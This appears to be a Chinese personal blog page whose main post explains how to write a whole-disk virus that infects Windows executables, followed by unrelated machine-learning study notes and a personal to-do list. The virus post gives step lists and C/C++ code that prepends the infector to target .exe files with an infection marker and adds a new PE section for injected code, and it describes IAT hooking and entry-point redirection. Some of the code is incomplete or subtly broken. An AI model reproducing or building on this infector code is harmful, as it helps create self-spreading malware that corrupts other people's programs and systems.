简单的几种全盘感染程序以及实现【长期更新】

2019-01-13 22:25

正在龟速填坑,预期会添加一份C版的导入表新建节表插入代码。
和添加数据到程序尾部并修改入口点的。。
至于机器学习?回家再说。

说起来真的得需要一个跳转的东西来让大家知道到底哪些东西更新了。

2019-01-02 00:35

不知不觉甚至都2019了呀,意外地发现了这个坑。
先把这个拉上来,我一定要填坑!!!
看来似乎,真的得写一个Typecho客户端了。。。。

这个,肯定得找时间写完的啦。

2017-12-02 15:02

//不知怎得突然就喜欢上了这些。于是就打算练手了。
//不得不说VS是真的好用,除了对我来说略卡(原因是因为我电脑配置实在低

正文

首先,我们现需要做什么,先罗列出大致步骤

  1. 遍历文件,搜索全盘可执行的exe文件
  2. 在文件中插入我们的恶意代码,并且让恶意代码拥有自动复制的功能
  3. 没了

确实一个全盘感染程序逻辑基本就这么简单。
我们先抛开1,因为1非常好实现。我们就先来说说2的实现方式。


感染方式:文件更添

首先是最LOW但是也是最最最简单的方式。
直接把病毒程序添加到被感染程序的头部,这样别人点击我们的程序时就会优先启动我们的。
当然只填充是不行的,还要让程序正常的执行。
这样就得在我们的程序的时候读取自身。然后寻找第二个MZ标识。
然后把第二个MZ表示写出,或者是在内存中创建映射然后执行。
这样程序就会优先执行我们的感染体,然后再执行咯。
部分代码如下:
Inject.cpp

    void InjectExec(char *FilePath){
    char selfP[128];
    int AllSize = 0;
    GetModuleFileNameA(NULL, selfP, 128);
    char *s1 = ReadF(selfP);//获取自身
    int t1 = tmpSize;
    char *buffer1 = (char*)malloc((int)tmpSize);//要把函数中的指针的值给取出来,否则会被分配掉
    RtlMoveMemory(buffer1,s1,tmpSize);
    int tmp =0;
    if (buffer1[tmpSize - 1] == *"X"){
        bool x = true;
        do {
            
            if (x == true && buffer1[tmpSize-tmp]==*"X"){
                tmp += 1;
            }
            else{
                x = false;
                break;
            }

        } while (tmp < 5);//连续5次都是X,确认为标识符
        if (x = true){ return; }//已经感染过了,跳过
    }
    s1 = ReadF(FilePath);//获取被感染文件
    int t2= tmpSize;
    char *buffer2 = (char*)malloc((int)tmpSize);//同上
    RtlMoveMemory(buffer2, s1, tmpSize);
    AllSize = t1 + t2 + 5 ;
    char *s = (char*)malloc((int)AllSize);
    int i, i2,i3;
    for (i = 0; i <= t1; i++){s[i] = buffer1[i];}
    for (i2 = 0; i2 <= t2; i2++){ s[i + i2] = buffer2[i2]; }
    for (i3 = 0; i3 <= 5; i3++){ s[i + i2 + i3] = *"X"; }//添加标识符
    WriteF(FilePath,s,AllSize);//写出

}

方法优劣:
简单,快速,缺点就是容易恢复,而且修改面积大(在一个程序中添加了整整另外一个程序,非常容易看出来

进阶版本:
仅在尾部插入shellcode,并修改入口点。

【未完待续】


感染方式二:IAT HOOK

PE文件结构中有一个是包含导入表,用PEiD就可以看到,包含着这个程序所需要使用的DLL。
我们只需要在这个表中添加我们自带的病毒DLL,就算程序用不引用也行。
这个方案更多用于内存注入而不是全盘感染
因为模块在载入内存空间时会默认引用一个DLL的析构程序,我们只需要把病毒的部分在析构程序中调用即可
著名的lpk.dll病毒虽然不是利用IAT HOOK,但是也是利用IAT表中的引用顺序漏洞,优先引用了本地路径的lpk文件而不是windir目录的,导致同目录Lpk病毒文件得以加载
相关文档:

  1. IAT Hook的原理
  2. API HOOK的 IAT方法

代码如下

//同样懒得写了,过几天再给出CPP的吧,不过我有发过python版本的IAT HOOK 

python-IAT HOOK

方法优劣:
虽然对程序的修改少了,但是在每个目录下都会添加一个dll十分显眼,就算把dll丢到环境变量中,传播时只复制被感染文件不复制dll文件也达不到传播效果了。

#include <windows.h>
#include <stdio.h>
char PATH[]="d:\\2.exe";
char shellcode[]="";
int Filelength(FILE *fp);
int main(int argc, char const *argv[])
{
    DWORD dwRead;
    HANDLE hFile;
    int FileSize;
    char * FileBuffer;
    hFile = CreateFile(PATH,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
    FileSize=GetFileSize(hFile,NULL);
    FileBuffer = (char*)malloc(FileSize+1);
    if(!ReadFile(hFile,FileBuffer,FileSize,&dwRead,NULL))return 1;
    FileBuffer[FileSize+1]='\0';//多写一位,当结束标识

    PIMAGE_FILE_HEADER MFHeader;
    //这里是指针偏移,也就是绕过开头的DOS区块。DOS块从长度是0x3c,0x4是指向IMAGE_FILE_HEADER
    MFHeader = (PIMAGE_FILE_HEADER)(char *)(FileBuffer + *(int *)(FileBuffer + 0x3c) + 0x4);
    //或者使用另一种写法
    //fseek(hFile,0x3c,SEEK_SET)这种写法可能会更好些?
    PIMAGE_OPTIONAL_HEADER  MOptHeader;//定位可选PE头
    MOptHeader = (PIMAGE_OPTIONAL_HEADER)((char *)MFHeader + 0x14);
    //定位节表
    PIMAGE_SECTION_HEADER MSecHeader;
    MSecHeader = (PIMAGE_SECTION_HEADER)((char *)MOptHeader + MFHeader->SizeOfOptionalHeader);
    char * ImageBuffer = (char *)malloc(MOptHeader->SizeOfImage+0x1000);
    //内存中整个PE映像体的尺寸
    //模拟PE程序被加载
    //同理我们也可以使用MapViewOfFile
    ZeroMemory(ImageBuffer, MOptHeader->SizeOfImage+0x1000);
    if (ImageBuffer == NULL)return 1;
    memcpy(ImageBuffer, FileBuffer, MOptHeader->SizeOfHeaders);
    //拷贝原有节表的数据到我们的内存空间
    for (int i = 0; i < MFHeader->NumberOfSections; i++)
    {
        memcpy(ImageBuffer + MSecHeader->VirtualAddress, FileBuffer + MSecHeader->PointerToRawData, MSecHeader->SizeOfRawData);
        MSecHeader++;
    }
    //构建新表
    PIMAGE_SECTION_HEADER nSec;
    nSec = MSecHeader;
    MSecHeader--;
    //nSec->Name = ".xxx";
    //不用这种方式是因为C++后面字符会有\0作为截断字符也一并会被写进去
    nSec->Name[0] = '.';
    nSec->Name[1] = 'd';
    nSec->Name[2] = 'a';
    nSec->Name[3] = 't';
    nSec->Misc.VirtualSize = 0x1000;
    nSec->VirtualAddress = MSecHeader->VirtualAddress + MSecHeader->SizeOfRawData;
    nSec->SizeOfRawData = 0x1000;
    nSec->PointerToRawData = MSecHeader->PointerToRawData + MSecHeader->SizeOfRawData;
    nSec->Characteristics=(MSecHeader - (MFHeader->NumberOfSections-1))->Characteristics;
    MFHeader->NumberOfSections+=1;
    MOptHeader->SizeOfImage+0x1000;
    //新节构建完成
    


    return 0;
}

感染方案三:PE空隙插入

(前面两个只是正好说的,今天的主菜其实是这个XD
感染方式,就是在PE文件中添加新节,熟悉汇编的都知道,PE文件都分为代码段,数据段等等。
我们只需要修改PE文件,在里面加入一段新节。

1:将添加的代码写到目标PE文件中,可以把这个代码插入原代码所处的的section的空隙中,也可以通过添加一个新的section附在原文件的尾部
2:PE文件原来的入口地址必须被保存在添加的代码中,这样,这段代码执行完以后可以转移到原始文件处执行
3:PE文件头中的入口地址需要被修改,指向新添加代码中的入口地址
4:PE文件头中的一些值需要根据情况做相应的修改,以符合修改后的PE文件的情况。

其中,我们要拥有的技术有什么呢?

  • 编写“病毒代码”
  • 读入原入口点
  • 修改PE文件入口点
  • 添加新section或在section中插入代码
    了解了这些我们就开始吧。

相关文章:

  • [[原创]一步一步实现在PE文件中添加可执行代码][5]
  • [[原创]通过c++代码给PE文件添加一个区段][6]

(因为这个是汇编版,所以我得先填坑成CPP版

你以为我鸽了?其实并没有。【未完待续】

Tags: win, c

ML学习基础+笔记 / 元旦快乐 【长期更新】

写在开头

这个博客于其说是博客。。不如说更像OneNote之类的东西了呀,下次弄个离线加个搜索就真的成Note了2333,或者哪天自己心情好写个客户端emm正好可以练手C#

而且大部分的博文,与其说是博文,不如说是手账比较好。毕竟基本都线性更新的。同时也因为博客的不相关性,导致我忘记了之前挖的好多坑。。。看来确实得改一改了。不过在这里之前,我想起了之前好多个文章里都有类似的挖坑宣言,但是似乎好像什么都忘了hhhhh。

不过说到底还是因为利益驱动不够。看来人不能太勤奋。太勤奋的后果就是能把一些好点子给咕了,只要不影响原有功能情况下基本都懒得动他hhhh,这到底是勤奋还是怠惰呢?还是说更新之后的效果和不更新的付出所得不成正比呢emmmm

好吧脑子有点乱,不说这些了。

高三过去了,因为艺考+高考双重打击,让我之前学的ML都忘得差不多了。现在才记起来,准备试着捡起来。我也不知道我能坚持多久,因为我这个专业木有高数。真希望去计算机相关的专业啊。

顺带说下元旦快乐。这也是期末考之前最后快乐的时光了。

期末考要背的东西好多emmm,专业考试倒是完全不方。主要就是讨厌背啊emmmmm。算了,咕咕咕,先研究一波ML先。

本期内容束博主才学浅陋的一点自我总结,如果是随手翻到此博客的朋友们请酌情观看或者阅读,因为没有认真里结果,所以可能会有一些或者许多错误,还望大家多多包涵/指正,感谢大家。

以下是纯概念性理解。

我的理解

监督性学习

首先是需要一定量的数据,用来“教”程序,之后使用不同的特征提取算法,用得出的结果去和那些教来的数据比对。

发现不对,利用梯度下降法,来微调W和basis,也就是跳权重。之后再去计算,和最后的数据去比对,这也就是跑了一次训练。

就这样一直跑下去,直到最后跑出来的数据无限接近于得出的数据。那么这个网络就训练成功了(?)

emmmm就这么简单吗?还是说我理解错了emmmm。

作用范围

两种,一种是用来预测,一种是用来分类。

比方说是f(y) = ax + bx +c ,运用第一种,就能算处无限接近于a,b还有c这几个参数。这样,也就可以预测出f(y)这个函数。

还有一种是,在一组向量空间中,分布着不同的区域,每个区域代表一个分类。

先假设f(y)已经训练完成。

把y当作特征输入,得出不同的结果,然后对比这个数据在向量空间的所处位置,得出一个所选分类。

大多数的数字识别基本都是这样子的。

其中的问题

听说梯度下降那边可能会有很多解法,但是我看书里好像说不能一直是全局最优解,否则会有啥问题来着的?这个记不清了

非监督性学习

这个真的忘了,待我学习一波。。。

线性相关,线性不相关,线性不可分

线性相关主要就是一个激励值(激励函数请看下面)相关问题。类似于Y随着X改变而改变,类似于一个一次函数。

线性不相关主要是因为资源问题而考虑,X和Y所代表的激励不可能无限大下去。会随着某些因素而导致速率变慢甚至停止。一般都是一些特殊的数学函数,常见的鄙俗sigmod等等。

线性不可分大体就是让你一层神经网络区分不了,那么再多套几层的意思咯。(?)

应该吧。等我复习到了的时候再说XD

误差反向传递

这个也忘了。。

激励函数

激励函数的作用就是,更具传入不同的东西,调整当前得到的权重。

比如你目的是区分美女,那么关于是否是妹子的特征被传到这层神经网络时候,会更具激励函数,来瞬间提高/降低所得出来的值并且传到下一层。

如果按照向量空间所代表的分布来看的话,可以想象你最后结果所在的位置,因为这个激励函数结果的暴增/减,而更靠近/远离美女所处的向量空间。

当然区分这些肯定不只一层解决的事。需要很多层的共同努力,比方说处理脸部的层呀,身材的层呀等等。。所以对于激励函数的选择就很重要啦。

哎好后悔书都在家里。

未完待续

Tags: 笔记, 基础

TODO LIST

目前想要做的

  • ero_novel后端已写完,等待对接
  • ero_newspaper
  • ero_bot 优化(重构)放弃使用bot了
  • ero_service_control 看情况后来想了下并没有什么卵用
  • 自用快捷键注册工具 QT,考虑用C++还是PYTHON找到了更好的替代工具,albert+albert插件

似乎感觉还忘了好多事,而且感觉学啥技术都没有提升。感觉自己越来越菜了

Tags: none